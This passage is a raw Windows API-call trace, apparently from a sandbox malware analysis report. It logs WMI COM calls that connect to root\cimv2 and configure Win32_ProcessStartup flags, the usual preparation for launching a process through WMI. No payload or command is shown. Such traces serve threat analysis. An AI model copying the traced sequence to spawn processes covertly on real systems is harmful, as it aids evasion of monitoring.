0x80004002 [0159.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc165f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0159.754] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0159.754] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0159.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc165f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0159.754] WbemLocator:IUnknown:Release (This=0x1bc165f0) returned 0x2 [0159.754] WbemLocator:IUnknown:Release (This=0x1bc165f0) returned 0x1 [0159.754] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0159.754] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0159.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc165f0, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc165f0) returned 0x0 [0159.754] WbemLocator:IUnknown:AddRef (This=0x1bc165f0) returned 0x3 [0159.754] WbemLocator:IUnknown:Release (This=0x1bc165f0) returned 0x2 [0159.754] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40040, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0159.755] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40040, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0159.755] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40040, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.755] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc16610) returned 0x0 [0159.755] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc16610, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc567d0) returned 0x0 [0159.845] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc567d0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbdd100) returned 0x0 [0159.845] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdd100, pProxy=0x1bc567d0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0159.846] WbemLocator:IUnknown:Release (This=0x1bbdd100) returned 0x1 [0159.846] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc567d0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbdd140) returned 0x0 [0159.846] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc567d0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbdd100) returned 0x0 [0159.846] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdd100, pProxy=0x1bc567d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0159.846] WbemLocator:IUnknown:Release (This=0x1bbdd100) returned 0x2 [0159.846] WbemLocator:IUnknown:Release (This=0x1bbdd140) returned 0x1 [0159.846] CoTaskMemFree (pv=0x1bc19380) [0159.846] WbemLocator:IUnknown:AddRef (This=0x1bc567d0) returned 0x2 [0159.846] WbemLocator:IUnknown:Release (This=0x1bc16610) returned 0x0 [0159.847] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0159.847] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0159.847] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc567d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbdd110) returned 0x0 [0159.847] WbemLocator:IRpcOptions:Query (in: This=0x1bbdd110, pPrx=0x1bc16670, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0159.847] WbemLocator:IUnknown:Release (This=0x1bbdd110) returned 0x2 [0159.847] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0159.847] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0159.847] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc567d0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc567d0) returned 0x0 [0159.847] WbemLocator:IUnknown:Release (This=0x1bc567d0) returned 0x2 [0159.847] SysStringLen (param_1=0x0) returned 0x0 [0159.847] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40100, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0159.848] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40100, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0159.848] IWbemServices:GetObject (in: This=0x1bc567d0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bbb7010, ppCallResult=0x0) returned 0x0 [0159.850] IWbemClassObject:Get (in: This=0x1bbb7010, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0159.850] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0159.850] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0159.850] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0159.850] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0159.850] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0159.850] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.853] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc16610) returned 0x0 [0159.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc16610, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0159.853] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc16610, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc3ff80) returned 0x0 [0159.853] WbemDefPath:IUnknown:Release (This=0x1bc16610) returned 0x0 [0159.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc3ff80) returned 0x0 [0159.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0159.854] WbemDefPath:IUnknown:AddRef (This=0x1bc3ff80) returned 0x3 [0159.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0159.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0159.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc16630) returned 0x0 [0159.854] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc16630, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.854] WbemDefPath:IUnknown:Release (This=0x1bc16630) returned 0x3 [0159.854] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0159.854] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0159.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0159.854] WbemDefPath:IUnknown:Release (This=0x1bc3ff80) returned 0x2 [0159.854] WbemDefPath:IUnknown:Release (This=0x1bc3ff80) returned 0x1 [0159.854] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0159.854] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0159.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc3ff80) returned 0x0 [0159.855] WbemDefPath:IUnknown:AddRef (This=0x1bc3ff80) returned 0x3 [0159.855] WbemDefPath:IUnknown:Release (This=0x1bc3ff80) returned 0x2 [0159.855] WbemDefPath:IWbemPath:SetText (This=0x1bc3ff80, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0159.855] IWbemClassObject:Get (in: This=0x1bbb7010, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272a0d0*=0, plFlavor=0x272a0d4*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272a0d0*=19, plFlavor=0x272a0d4*=0) returned 0x0 [0159.855] IWbemClassObject:Get (in: This=0x1bbb7010, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272a0d0*=19, plFlavor=0x272a0d4*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272a0d0*=19, plFlavor=0x272a0d4*=0) returned 0x0 [0159.855] IWbemClassObject:Put (This=0x1bbb7010, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0159.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40280, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0159.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0159.855] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0159.855] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.855] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0159.855] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0159.856] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0159.856] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.857] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc167d0) returned 0x0 [0159.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc167d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0159.858] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc167d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc3fe00) returned 0x0 [0159.858] WbemDefPath:IUnknown:Release (This=0x1bc167d0) returned 0x0 [0159.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc3fe00) returned 0x0 [0159.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0159.858] WbemDefPath:IUnknown:AddRef (This=0x1bc3fe00) returned 0x3 [0159.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0159.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0159.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc16810) returned 0x0 [0159.858] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc16810, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.858] WbemDefPath:IUnknown:Release (This=0x1bc16810) returned 0x3 [0159.858] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0159.859] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0159.859] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0159.859] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x2 [0159.859] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x1 [0159.859] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0159.859] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0159.859] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc3fe00) returned 0x0 [0159.859] WbemDefPath:IUnknown:AddRef (This=0x1bc3fe00) returned 0x3 [0159.859] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x2 [0159.859] WbemDefPath:IWbemPath:SetText (This=0x1bc3fe00, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0159.859] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fe00, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0159.859] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0159.859] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.859] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0159.859] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0159.859] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0159.859] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.860] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bcc4d60) returned 0x0 [0159.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4d60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0159.861] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc4d60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bcc4dc0) returned 0x0 [0159.861] WbemLocator:IUnknown:Release (This=0x1bcc4d60) returned 0x0 [0159.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4dc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bcc4dc0) returned 0x0 [0159.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4dc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0159.861] WbemLocator:IUnknown:AddRef 